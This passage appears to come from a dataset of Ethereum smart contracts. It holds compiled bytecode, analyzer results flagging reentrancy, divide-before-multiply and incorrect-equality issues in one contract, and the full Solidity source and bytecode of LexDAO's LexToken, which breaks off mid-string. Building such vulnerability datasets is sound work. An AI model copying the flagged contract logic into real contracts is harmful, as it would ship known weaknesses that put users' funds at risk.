ffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b600b5461010090046001600160a01b03163314611051576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116110b9576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611110576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600754611128906001600160a01b0316333084611625565b611130611a01565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a15050565b600b5461010090046001600160a01b03163314611266576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600b5461010090046001600160a01b031633146112da576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b600c5481565b60026020526000908152604090205481565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156113835780601f1061135857610100808354040283529160200191611383565b820191906000526020600020905b81548152906001019060200180831161136657829003601f168201915b505050505081565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906113be575060045415155b1561146357600454600019015b600481815481106113d857fe5b9060005260206000209060030201600101548310156114615761144c610a746004838154811061140457fe5b906000526020600020906003020160020154610a6e60026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b91508061145857611461565b600019016113cb565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ebd908490611685565b600061152783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061183d565b90505b92915050565b60008261153f5750600061152a565b8282028284828161154c57fe5b04146115275760405162461bcd60e51b8152600401808060200182810382526021815260200180611a386021913960400191505060405180910390fd5b600061152783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118d4565b600082820183811015611527576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261167f908590611685565b50505050565b611697826001600160a01b0316611939565b6116e8576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106117265780518252601f199092019160209182019101611707565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611788576040519150601f19603f3d011682016040523d82523d6000602084013e61178d565b606091505b5091509150816117e4576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561167f5780806020019051602081101561180057600080fd5b505161167f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611a59602a913960400191505060405180910390fd5b600081848411156118cc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611891578181015183820152602001611879565b50505050905090810190601f1680156118be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836119235760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611891578181015183820152602001611879565b50600083858161192f57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061196d5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826119ab57600085556119f1565b82601f106119c457805160ff19168380011785556119f1565b828001600101855582156119f1579182015b828111156119f15782518255916020019190600101906119d6565b506119fd929150611a22565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b808211156119fd5760008155600101611a2356fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220e73f50c87f41747254a3abcf8ee6e0e7ca53ebca5aba193ed436370f6d5ce37964736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 624 |
0xc403c302cac2ae0d01677f5ada40fb6364af3298 | /*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string[]public offers; // offers made for token redemption - updateable by manager
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
event AddOffer(uint256 index, string terms);
event AmendOffer(uint256 index, string terms);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Redeem(string redemption);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, string details);
event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale);
event UpdateTransferability(bool transferable);
function init(
address payable _manager,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _details,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
if (_managerSupply > 0) {_mint(_manager, _managerSupply);}
if (_saleSupply > 0) {_mint(address(this), _saleSupply);}
if (_forSale) {require(_saleRate > 0, "_saleRate = 0");}
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function burn(uint256 value) external {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) external {
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_burn(from, value);
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));
return true;
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 deadline, uint256 value, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
function purchase() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function redeem(uint256 value, string calldata redemption) external { // burn token with redemption message
_burn(msg.sender, value);
emit Redeem(redemption);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function addOffer(string calldata offer) external onlyManager {
offers.push(offer);
emit AddOffer(offers.length-1, offer);
}
function amendOffer(uint256 index, string calldata offer) external onlyManager {
offers[index] = offer;
emit AmendOffer(index, offer);
}
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, string calldata _details) external onlyManager {
manager = _manager;
details = _details;
emit UpdateGovernance(_manager, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);}
if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);}
if (_forSale) {require(_saleRate > 0, "_saleRate = 0");}
emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to contract
require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue);
}
}
} | 0x6080604052600436106102135760003560e01c806355b6ed5c116101185780637ecebe00116100a0578063a457c2d71161006f578063a457c2d714610ceb578063a9059cbb14610d24578063bb102aea14610d5d578063d505accf14610d72578063e3537d6814610dd05761030f565b80637ecebe0014610c645780638a72ea6a14610c9757806392ff0d3114610cc157806395d89b4114610cd65761030f565b806364edfbf0116100e757806364edfbf0146109cf57806370a08231146109d757806379cc679014610a0a5780637a0c21ee14610a435780637c88e3d914610b995761030f565b806355b6ed5c14610913578063565974d31461094e57806361d3458f1461096357806364629ff71461098f5761030f565b80633644e5151161019b57806340c10f191161016a57806340c10f19146107ef57806342966c6814610828578063466ccac014610852578063481c6a75146108675780634f0371e9146108985761030f565b80633644e515146106c157806339509351146106d65780633b3e672f1461070f57806340557cf1146107da5761030f565b806321af8235116101e257806321af82351461053157806323b872dd146105bc57806324b76fd5146105ff57806330adf81f14610681578063313ce567146106965761030f565b806306fdde0314610314578063095ea7b31461039e57806318160ddd146103eb5780631d809a79146104125761030f565b3661030f5760095460ff1661025a576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d80600081146102a7576040519150601f19603f3d011682016040523d82523d6000602084013e6102ac565b606091505b50509050806102ed576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b61030c303361030760015434610e5290919063ffffffff16565b610e82565b50005b600080fd5b34801561032057600080fd5b50610329610f30565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561036357818101518382015260200161034b565b50505050905090810190601f1680156103905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103aa57600080fd5b506103d7600480360360408110156103c157600080fd5b506001600160a01b038135169060200135610fbe565b604080519115158252519081900360200190f35b3480156103f757600080fd5b50610400610fd4565b60408051918252519081900360200190f35b34801561041e57600080fd5b5061052f6004803603608081101561043557600080fd5b810190602081018135600160201b81111561044f57600080fd5b82018360208201111561046157600080fd5b803590602001918460208302840111600160201b8311171561048257600080fd5b919390929091602081019035600160201b81111561049f57600080fd5b8201836020820111156104b157600080fd5b803590602001918460208302840111600160201b831117156104d257600080fd5b919390929091602081019035600160201b8111156104ef57600080fd5b82018360208201111561050157600080fd5b803590602001918460208302840111600160201b8311171561052257600080fd5b9193509150351515610fda565b005b34801561053d57600080fd5b5061052f6004803603604081101561055457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561057e57600080fd5b82018360208201111561059057600080fd5b803590602001918460018302840111600160201b831117156105b157600080fd5b50909250905061120e565b3480156105c857600080fd5b506103d7600480360360608110156105df57600080fd5b506001600160a01b038135811691602081013590911690604001356112ef565b34801561060b57600080fd5b5061052f6004803603604081101561062257600080fd5b81359190810190604081016020820135600160201b81111561064357600080fd5b82018360208201111561065557600080fd5b803590602001918460018302840111600160201b8311171561067657600080fd5b50909250905061138e565b34801561068d57600080fd5b506104006113fd565b3480156106a257600080fd5b506106ab611421565b6040805160ff9092168252519081900360200190f35b3480156106cd57600080fd5b50610400611431565b3480156106e257600080fd5b506103d7600480360360408110156106f957600080fd5b506001600160a01b038135169060200135611437565b34801561071b57600080fd5b5061052f6004803603604081101561073257600080fd5b810190602081018135600160201b81111561074c57600080fd5b82018360208201111561075e57600080fd5b803590602001918460208302840111600160201b8311171561077f57600080fd5b919390929091602081019035600160201b81111561079c57600080fd5b8201836020820111156107ae57600080fd5b803590602001918460208302840111600160201b831117156107cf57600080fd5b50909250905061146d565b3480156107e657600080fd5b5061040061154c565b3480156107fb57600080fd5b5061052f6004803603604081101561081257600080fd5b506001600160a01b038135169060200135611552565b34801561083457600080fd5b5061052f6004803603602081101561084b57600080fd5b50356115aa565b34801561085e57600080fd5b506103d76115b7565b34801561087357600080fd5b5061087c6115c0565b604080516001600160a01b039092168252519081900360200190f35b3480156108a457600080fd5b5061052f600480360360208110156108bb57600080fd5b810190602081018135600160201b8111156108d557600080fd5b8201836020820111156108e757600080fd5b803590602001918460018302840111600160201b8311171561090857600080fd5b5090925090506115cf565b34801561091f57600080fd5b506104006004803603604081101561093657600080fd5b506001600160a01b03813581169160200135166116cb565b34801561095a57600080fd5b506103296116e8565b34801561096f57600080fd5b5061052f6004803603602081101561098657600080fd5b50351515611743565b34801561099b57600080fd5b5061052f600480360360808110156109b257600080fd5b5080359060208101359060408101351515906060013515156117de565b61052f61190d565b3480156109e357600080fd5b50610400600480360360208110156109fa57600080fd5b50356001600160a01b03166119fc565b348015610a1657600080fd5b5061052f60048036036040811015610a2d57600080fd5b506001600160a01b038135169060200135611a0e565b348015610a4f57600080fd5b5061052f6004803603610160811015610a6757600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b811115610ab157600080fd5b820183602082011115610ac357600080fd5b803590602001918460018302840111600160201b83111715610ae457600080fd5b919390929091602081019035600160201b811115610b0157600080fd5b820183602082011115610b1357600080fd5b803590602001918460018302840111600160201b83111715610b3457600080fd5b919390929091602081019035600160201b811115610b5157600080fd5b820183602082011115610b6357600080fd5b803590602001918460018302840111600160201b83111715610b8457600080fd5b91935091508035151590602001351515611a4d565b348015610ba557600080fd5b5061052f60048036036040811015610bbc57600080fd5b810190602081018135600160201b811115610bd657600080fd5b820183602082011115610be857600080fd5b803590602001918460208302840111600160201b83111715610c0957600080fd5b919390929091602081019035600160201b811115610c2657600080fd5b820183602082011115610c3857600080fd5b803590602001918460208302840111600160201b83111715610c5957600080fd5b509092509050611cba565b348015610c7057600080fd5b5061040060048036036020811015610c8757600080fd5b50356001600160a01b0316611d8e565b348015610ca357600080fd5b5061032960048036036020811015610cba57600080fd5b5035611da0565b348015610ccd57600080fd5b506103d7611e16565b348015610ce257600080fd5b50610329611e25565b348015610cf757600080fd5b506103d760048036036040811015610d0e57600080fd5b506001600160a01b038135169060200135611e80565b348015610d3057600080fd5b506103d760048036036040811015610d4757600080fd5b506001600160a01b038135169060200135611eb6565b348015610d6957600080fd5b50610400611f11565b348015610d7e57600080fd5b5061052f600480360360e0811015610d9557600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611f17565b348015610ddc57600080fd5b5061052f60048036036040811015610df357600080fd5b81359190810190604081016020820135600160201b811115610e1457600080fd5b820183602082011115610e2657600080fd5b803590602001918460018302840111600160201b83111715610e4757600080fd5b5090925090506120fb565b600082610e6157506000610e7c565b82820282848281610e6e57fe5b0414610e7957600080fd5b90505b92915050565b6001600160a01b0383166000908152600b6020526040902054610ea590826121d9565b6001600160a01b038085166000908152600b60205260408082209390935590841681522054610ed490826121ee565b6001600160a01b038084166000818152600b602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610fb65780601f10610f8b57610100808354040283529160200191610fb6565b820191906000526020600020905b815481529060010190602001808311610f9957829003601f168201915b505050505081565b6000610fcb338484612200565b50600192915050565b60025481565b6000546001600160a01b03163314611024576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b858414801561103257508582145b611083576040805162461bcd60e51b815260206004820152601760248201527f21746f6b656e2f7769746864726177546f2f76616c7565000000000000000000604482015290519081900360640190fd5b60005b8681101561120457600084848381811061109c57fe5b9050602002013590508215611142578888838181106110b757fe5b905060200201356001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561111357600080fd5b505afa158015611127573d6000803e3d6000fd5b505050506040513d602081101561113d57600080fd5b505190505b88888381811061114e57fe5b905060200201356001600160a01b03166001600160a01b031663a9059cbb88888581811061117857fe5b905060200201356001600160a01b0316836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156111cf57600080fd5b505af11580156111e3573d6000803e3d6000fd5b505050506040513d60208110156111f957600080fd5b505050600101611086565b5050505050505050565b6000546001600160a01b03163314611258576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03851617905561127f600583836123d0565b50826001600160a01b03167f28227c29e8844719ad1e9362701a58f2fd9151da99edd16146e6066f7995de60838360405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a2505050565b60095460009062010000900460ff1661133f576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b6001600160a01b0384166000908152600a602090815260408083203380855292529091205461137991869161137490866121d9565b612200565b611384848484610e82565b5060019392505050565b6113983384612262565b7ffaaa716cf73cc51702fa1de9713c82c6cd37a48c3abd70d72ef7e2051b60788b828260405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a1505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600054600160a01b900460ff1681565b60045481565b336000818152600a602090815260408083206001600160a01b03871684529091528120549091610fcb91859061137490866121ee565b8281146114ad576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60095462010000900460ff166114fa576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b60005b838110156115455761153d3386868481811061151557fe5b905060200201356001600160a01b031685858581811061153157fe5b90506020020135610e82565b6001016114fd565b5050505050565b60015481565b6000546001600160a01b0316331461159c576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6115a682826122f3565b5050565b6115b43382612262565b50565b60095460ff1681565b6000546001600160a01b031681565b6000546001600160a01b03163314611619576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60078054600181018255600091909152611656907fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880183836123d0565b507fbc51c630f8cb647f3f7b7f755e8a9a267b836d659ef4fd39444767b2e99f8eb8600160078054905003838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a15050565b600a60209081526000928352604080842090915290825290205481565b6005805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610fb65780601f10610f8b57610100808354040283529160200191610fb6565b6000546001600160a01b0316331461178d576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6009805482151562010000810262ff0000199092169190911790915560408051918252517f6bac9a12247929d003198785fd8281eecfab25f64a2342832fc7e0fe2a5b99bd9181900360200190a150565b6000546001600160a01b03163314611828576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60018490556009805460ff191682151517905582158015906118475750815b15611856576118563084612262565b600083118015611864575081155b156118735761187330846122f3565b80156118be57600084116118be576040805162461bcd60e51b815260206004820152600d60248201526c05f73616c6552617465203d203609c1b604482015290519081900360640190fd5b604080518581526020810185905283151581830152821515606082015290517fc731f083c0c404c37cc5224632a9920c93721188c2b3a25442ba50173c538a0a9181900360800190a150505050565b60095460ff1661194f576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d806000811461199c576040519150601f19603f3d011682016040523d82523d6000602084013e6119a1565b606091505b50509050806119e2576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6115b4303361030760015434610e5290919063ffffffff16565b600b6020526000908152604090205481565b6001600160a01b0382166000908152600a6020908152604080832033808552925290912054611a4391849161137490856121d9565b6115a68282612262565b600954610100900460ff1615611a98576040805162461bcd60e51b815260206004820152600b60248201526a1a5b9a5d1a585b1a5e995960aa1b604482015290519081900360640190fd5b8d6000806101000a8154816001600160a01b0302191690836001600160a01b031602179055508c600060146101000a81548160ff021916908360ff1602179055508a60018190555088600381905550878760059190611af89291906123d0565b50611b05600687876123d0565b50611b12600885856123d0565b506009805461010060ff199091168415151761ff0019161762ff0000191662010000831515021790558b15611b4b57611b4b8e8d6122f3565b8915611b5b57611b5b308b6122f3565b8115611ba65760008b11611ba6576040805162461bcd60e51b815260206004820152600d60248201526c05f73616c6552617465203d203609c1b604482015290519081900360640190fd5b60004690507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60066040518082805460018160011615610100020316600290048015611c295780601f10611c07576101008083540402835291820191611c29565b820191906000526020600020905b815481529060010190602001808311611c15575b505060408051918290038220828201825260018352603160f81b602093840152815180840196909652858201527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606086015260808501959095523060a0808601919091528551808603909101815260c0909401909452505080519101206004555050505050505050505050505050565b6000546001600160a01b03163314611d04576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b828114611d44576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60005b8381101561154557611d86858583818110611d5e57fe5b905060200201356001600160a01b0316848484818110611d7a57fe5b905060200201356122f3565b600101611d47565b600c6020526000908152604090205481565b60078181548110611db057600080fd5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815293509091830182828015610fb65780601f10610f8b57610100808354040283529160200191610fb6565b60095462010000900460ff1681565b6008805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610fb65780601f10610f8b57610100808354040283529160200191610fb6565b336000818152600a602090815260408083206001600160a01b03871684529091528120549091610fcb91859061137490866121d9565b60095460009062010000900460ff16611f06576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b610fcb338484610e82565b60035481565b84421115611f56576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b6001600160a01b038088166000818152600c602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018a905260a085019590955260c08085018b90528151808603909101815260e08501825280519083012060045461190160f01b61010087015261010286015261012280860182905282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa158015612073573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906120a95750896001600160a01b0316816001600160a01b0316145b6120e4576040805162461bcd60e51b815260206004820152600760248201526610b9b4b3b732b960c91b604482015290519081900360640190fd5b6120ef8a8a89612200565b50505050505050505050565b6000546001600160a01b03163314612145576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b81816007858154811061215457fe5b90600052602060002001919061216b9291906123d0565b507f8353bf99044ef1e4388a189da7c56d24f2b33549e3dfffdba49ca25a4e3aa1a983838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a1505050565b6000828211156121e857600080fd5b50900390565b600082820183811015610e7957600080fd5b6001600160a01b038084166000818152600a6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0382166000908152600b602052604090205461228590826121d9565b6001600160a01b0383166000908152600b60205260409020556002546122ab90826121d9565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60035460025461230390836121ee565b111561233f576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b6001600160a01b0382166000908152600b602052604090205461236290826121ee565b6001600160a01b0383166000908152600b602052604090205560025461238890826121ee565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282612406576000855561244c565b82601f1061241f5782800160ff1982351617855561244c565b8280016001018555821561244c579182015b8281111561244c578235825591602001919060010190612431565b5061245892915061245c565b5090565b5b80821115612458576000815560010161245d56fea264697066735822122040c8de